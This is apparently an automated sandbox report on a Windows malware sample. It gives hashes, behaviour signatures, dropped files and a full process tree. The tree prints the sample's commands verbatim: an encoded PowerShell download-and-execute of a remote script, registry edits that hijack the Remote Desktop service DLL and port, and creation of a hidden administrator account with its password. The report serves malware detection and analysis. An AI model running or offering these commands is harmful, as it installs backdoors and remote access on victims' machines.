Analysis

  • max time kernel
    69s
  • max time network
    74s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-09-2021 18:54

General

  • Target

    5367615a3d3f95eeab592a53716ed3bb.exe

  • Size

    5.7MB

  • MD5

    5367615a3d3f95eeab592a53716ed3bb

  • SHA1

    8592c6e78aa592d9f135dbe9d97cf2f524dbeaed

  • SHA256

    af7e2ecb8e84ad61c276347e0e766e21a043f2119dacb19ae538bddf5d0452f0

  • SHA512

    383fada6525e8ced7cc40c14d6cb6718583da6dca4f7db2654c15c0842a692d2011364da6f53690f005ed33f90606e81836eefeb8df04de655904fa5776b8790

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 9 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Drops file in Windows directory 19 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Script User-Agent 4 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe
    "C:\Users\Admin\AppData\Local\Temp\5367615a3d3f95eeab592a53716ed3bb.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1092
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ky0cd0ry\ky0cd0ry.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2056
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA841.tmp" "c:\Users\Admin\AppData\Local\Temp\ky0cd0ry\CSC37CB2EB3121A4206B5E6BEA37C38AEFE.TMP"
          4⤵
            PID:2452
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3604
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3976
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2808
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:2736
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:3812
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:976
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3556
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:3968
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:1840
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1424
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4032
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 start rdpdr
                      6⤵
                        PID:3984
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3784
                  • C:\Windows\system32\cmd.exe
                    cmd /c net start TermService
                    4⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2176
                    • C:\Windows\system32\net.exe
                      net start TermService
                      5⤵
                      • Suspicious use of WriteProcessMemory
                      PID:2808
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start TermService
                        6⤵
                          PID:2196
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                    3⤵
                      PID:2840
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                      3⤵
                        PID:980
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe user wgautilacc Ghar4f5 /del
                    1⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3812
                    • C:\Windows\system32\net.exe
                      net.exe user wgautilacc Ghar4f5 /del
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:568
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 user wgautilacc Ghar4f5 /del
                        3⤵
                          PID:740
                    • C:\Windows\System32\cmd.exe
                      cmd /C net.exe user wgautilacc FWXHxFTu /add
                      1⤵
                      • Suspicious use of WriteProcessMemory
                      PID:3668
                      • C:\Windows\system32\net.exe
                        net.exe user wgautilacc FWXHxFTu /add
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3500
                        • C:\Windows\system32\net1.exe
                          C:\Windows\system32\net1 user wgautilacc FWXHxFTu /add
                          3⤵
                            PID:400
                      • C:\Windows\System32\cmd.exe
                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:976
                        • C:\Windows\system32\net.exe
                          net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3556
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
                            3⤵
                              PID:3764
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3604
                          • C:\Windows\system32\net.exe
                            net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:876
                            • C:\Windows\system32\net1.exe
                              C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD
                              3⤵
                                PID:2676
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                            1⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3444
                            • C:\Windows\system32\net.exe
                              net.exe LOCALGROUP "Administrators" wgautilacc /ADD
                              2⤵
                              • Suspicious use of WriteProcessMemory
                              PID:2980
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
                                3⤵
                                  PID:2756
                            • C:\Windows\System32\cmd.exe
                              cmd /C net.exe user wgautilacc FWXHxFTu
                              1⤵
                              • Suspicious use of WriteProcessMemory
                              PID:3480
                              • C:\Windows\system32\net.exe
                                net.exe user wgautilacc FWXHxFTu
                                2⤵
                                • Suspicious use of WriteProcessMemory
                                PID:400
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user wgautilacc FWXHxFTu
                                  3⤵
                                    PID:4052
                              • C:\Windows\System32\cmd.exe
                                cmd.exe /C wmic path win32_VideoController get name
                                1⤵
                                • Suspicious use of WriteProcessMemory
                                PID:4044
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path win32_VideoController get name
                                  2⤵
                                    PID:3912
                                • C:\Windows\System32\cmd.exe
                                  cmd.exe /C wmic CPU get NAME
                                  1⤵
                                    PID:876
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic CPU get NAME
                                      2⤵
                                        PID:3604
                                    • C:\Windows\System32\cmd.exe
                                      cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                      1⤵
                                        PID:3964
                                        • C:\Windows\system32\cmd.exe
                                          cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                          2⤵
                                            PID:3780
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                              3⤵
                                              • Blocklisted process makes network request
                                              • Drops file in Program Files directory
                                              • Drops file in Windows directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:1632

                                        Network

                                        MITRE ATT&CK Enterprise v6

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • C:\Users\Admin\AppData\Local\Temp\RESA841.tmp

                                          MD5

                                          dd2bd9e89f270d2cadc103665c9f48d3

                                          SHA1

                                          ba70dfe57ec4a7295c9c6e3bdf16e151d086c509

                                          SHA256

                                          213e58dda308f6e59ee98a451cf2869e67e4611521967d98a3c32b67eea65561

                                          SHA512

                                          3061041007dfc13ca3f658ee5fe06a2b01c759c5507dc4c3075cf2f45ab7a9d7121476e5df7fdc4243ca0620c9f7fb8082f897d0561371d30967aa7fcc147453

                                        • C:\Users\Admin\AppData\Local\Temp\get-dnsprovider.PS1

                                          MD5

                                          f784c76a5f451d89ecd31dc71a8c26cb

                                          SHA1

                                          81b9f4163f834ea3cf133e2be9b8b81279e41c6b

                                          SHA256

                                          8d77e8f87f57c3cc6c5b19ea782763c6a4c3c18ee750357c050543d913e6ac9f

                                          SHA512

                                          5b8fd465141921c4791739fe5186b615594ae47e16c568fe6a640cb67c21aa25b0e1b5910c3eb56cf3a23ce4c6d251664e132a3007956ed3453dce3d1f713981

                                        • C:\Users\Admin\AppData\Local\Temp\ky0cd0ry\ky0cd0ry.dll

                                          MD5

                                          131ca5240a8c5574648dfc8239478f34

                                          SHA1

                                          b0150dc97e296f82881cf3ab75e52fb048f16dc4

                                          SHA256

                                          d6a66d935fa38011c2e25cd50d5dec88505154eadf43ec3de306047586d89746

                                          SHA512

                                          ff12ab0ddec4abed31d8f83ec53ee5c1c9be1ea02c89ef6ce7acf5850357cb9c9b6157d33b6242d3318766de96991614f3f49b03b109ecf92da42acde57b249d

                                        • C:\Users\Admin\AppData\Local\Temp\ready.ps1

                                          MD5

                                          28d9755addec05c0b24cca50dfe3a92b

                                          SHA1

                                          7d3156f11c7a7fb60d29809caf93101de2681aa3

                                          SHA256

                                          abb6ceb444b3dc29fcdcb8bda4935a6a792b85bb7049cb2710d97415d9411af9

                                          SHA512

                                          891a72eeef42be3f04067225a9665020704c99f9c17473ca57e5b946dfa35cb469fa91a794ea30115ce3ed0e940edb3ccff69a16a888379f5ac46a12afaa4c42

                                        • \??\c:\Users\Admin\AppData\Local\Temp\ky0cd0ry\CSC37CB2EB3121A4206B5E6BEA37C38AEFE.TMP

                                          MD5

                                          d12b1ff3595abef1e967e7810a903ae0

                                          SHA1

                                          62112b3f78a7668b5fbc9d5c1e814ac4bb6b261f

                                          SHA256

                                          cf8f1e066b891d4fea84020d0c1b44cba113c14353e57d3a9854f848418b688b

                                          SHA512

                                          ef0f0e28bfe06eb2da9f19cf338562a1960f99d61cf8160dee19778c00bed650cc02a38c3b30ddc1c38e54d4c3a25dd9a3ca645c3bb72302cd7a7791f5196f18

                                        • \??\c:\Users\Admin\AppData\Local\Temp\ky0cd0ry\ky0cd0ry.0.cs

                                          MD5

                                          9f8ab7eb0ab21443a2fe06dab341510e

                                          SHA1

                                          2b88b3116a79e48bab7114e18c9b9674e8a52165

                                          SHA256

                                          e1a4fbe36125e02e100e729ce92ab74869423da87cb46da6e3c50d7c4410b2d9

                                          SHA512

                                          53f5dc4c853af5a412fde895635ef4b2de98a165e3546130fdd17a37a5c3b177e21eccf70a5ddf936ac491da2d7e8fcdbc1e564a95ec01b097841aa78869989b

                                        • \??\c:\Users\Admin\AppData\Local\Temp\ky0cd0ry\ky0cd0ry.cmdline

                                          MD5

                                          755df1ce73deb575fea1a4ae46275374

                                          SHA1

                                          487a61f48c88b5e92df5c706077ea410a5e5cdfb

                                          SHA256

                                          a171aea10a12a09c4ca7ed50515b76a866d51f5d6cc5478fa690f958f0c2d1be

                                          SHA512

                                          611fe0199da71c20a2c4ddc9105d879fbdafe4594f3bd61521dc24c7cabbae80e5c3c62a47c7a4037eab0bbe9b71453b979e04b893a26b9d67387eb675f9975b

                                        • \Windows\Branding\mediasrv.png

                                          MD5

                                          02de1d05ec7c49607d0469e7731760c6

                                          SHA1

                                          39f0cddc616ab7ccfd0030f9aa257d6603373fb6

                                          SHA256

                                          dcb3e99447dd9c7093c425de2dc13d18342299d6b3876542c8b18542b80ec9eb

                                          SHA512

                                          a33b3da342c96816477347e0dfb6a54b2202990370260aa7fb3de6774c6868a9abef8ec1c794115d927432346153663a600142ca86701adaf1cde2b28f749f82

                                        • \Windows\Branding\mediasvc.png

                                          MD5

                                          a82cc23d45b8e1de9897fa40dbfebecb

                                          SHA1

                                          16590d3f0a035e0c01a9959593dd35b5d417a18e

                                          SHA256

                                          300f336a781a00987d35d4db230a14f96d3566ad324d8a5f9b0193095ef3d821

                                          SHA512

                                          b644dc69e2937ce23dd0e49f19bf1541f3e72fc9d1ff1a27d9ec009ad908fc19d8470c11dfe49a305cc9db278d684c31553107f8f4808a157e6c2a3873f5025a

                                        • memory/400-372-0x0000000000000000-mapping.dmp

                                        • memory/400-365-0x0000000000000000-mapping.dmp

                                        • memory/568-362-0x0000000000000000-mapping.dmp

                                        • memory/628-114-0x0000025AE4840000-0x0000025AE4C3F000-memory.dmp

                                          Filesize

                                          4.0MB

                                        • memory/628-118-0x0000025AE4425000-0x0000025AE4426000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/628-119-0x0000025AE4426000-0x0000025AE4427000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/628-116-0x0000025AE4420000-0x0000025AE4422000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/628-117-0x0000025AE4423000-0x0000025AE4425000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/740-363-0x0000000000000000-mapping.dmp

                                        • memory/876-368-0x0000000000000000-mapping.dmp

                                        • memory/976-311-0x0000000000000000-mapping.dmp

                                        • memory/980-460-0x0000000000000000-mapping.dmp

                                        • memory/1092-133-0x0000022061150000-0x0000022061151000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1092-154-0x0000022061650000-0x0000022061651000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1092-120-0x0000000000000000-mapping.dmp

                                        • memory/1092-147-0x0000022046E40000-0x0000022046E41000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1092-126-0x0000022046E10000-0x0000022046E11000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1092-128-0x0000022046E80000-0x0000022046E82000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1092-129-0x0000022046E83000-0x0000022046E85000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1092-151-0x0000022046E88000-0x0000022046E89000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1092-139-0x0000022046E86000-0x0000022046E88000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1092-155-0x00000220619E0000-0x00000220619E1000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1424-353-0x0000000000000000-mapping.dmp

                                        • memory/1632-395-0x00000260DA2A6000-0x00000260DA2A8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1632-405-0x00000260DA2A8000-0x00000260DA2A9000-memory.dmp

                                          Filesize

                                          4KB

                                        • memory/1632-391-0x00000260DA2A0000-0x00000260DA2A2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1632-392-0x00000260DA2A3000-0x00000260DA2A5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/1632-377-0x0000000000000000-mapping.dmp

                                        • memory/1840-352-0x0000000000000000-mapping.dmp

                                        • memory/2056-140-0x0000000000000000-mapping.dmp

                                        • memory/2176-357-0x0000000000000000-mapping.dmp

                                        • memory/2196-359-0x0000000000000000-mapping.dmp

                                        • memory/2452-143-0x0000000000000000-mapping.dmp

                                        • memory/2676-369-0x0000000000000000-mapping.dmp

                                        • memory/2736-309-0x0000000000000000-mapping.dmp

                                        • memory/2756-371-0x0000000000000000-mapping.dmp

                                        • memory/2808-255-0x0000000000000000-mapping.dmp

                                        • memory/2808-275-0x0000027B18076000-0x0000027B18078000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2808-358-0x0000000000000000-mapping.dmp

                                        • memory/2808-271-0x0000027B18070000-0x0000027B18072000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2808-272-0x0000027B18073000-0x0000027B18075000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/2840-459-0x0000000000000000-mapping.dmp

                                        • memory/2980-370-0x0000000000000000-mapping.dmp

                                        • memory/3500-364-0x0000000000000000-mapping.dmp

                                        • memory/3556-366-0x0000000000000000-mapping.dmp

                                        • memory/3556-348-0x0000000000000000-mapping.dmp

                                        • memory/3604-179-0x000002A22A2B6000-0x000002A22A2B8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3604-375-0x0000000000000000-mapping.dmp

                                        • memory/3604-176-0x000002A22A2B3000-0x000002A22A2B5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3604-175-0x000002A22A2B0000-0x000002A22A2B2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3604-204-0x000002A22A2B8000-0x000002A22A2BA000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3604-163-0x0000000000000000-mapping.dmp

                                        • memory/3764-367-0x0000000000000000-mapping.dmp

                                        • memory/3780-376-0x0000000000000000-mapping.dmp

                                        • memory/3784-356-0x0000000000000000-mapping.dmp

                                        • memory/3812-310-0x0000000000000000-mapping.dmp

                                        • memory/3912-374-0x0000000000000000-mapping.dmp

                                        • memory/3968-349-0x0000000000000000-mapping.dmp

                                        • memory/3976-244-0x000001D9915F6000-0x000001D9915F8000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3976-242-0x000001D9915F3000-0x000001D9915F5000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3976-240-0x000001D9915F0000-0x000001D9915F2000-memory.dmp

                                          Filesize

                                          8KB

                                        • memory/3976-210-0x0000000000000000-mapping.dmp

                                        • memory/3984-355-0x0000000000000000-mapping.dmp

                                        • memory/4032-354-0x0000000000000000-mapping.dmp

                                        • memory/4052-373-0x0000000000000000-mapping.dmp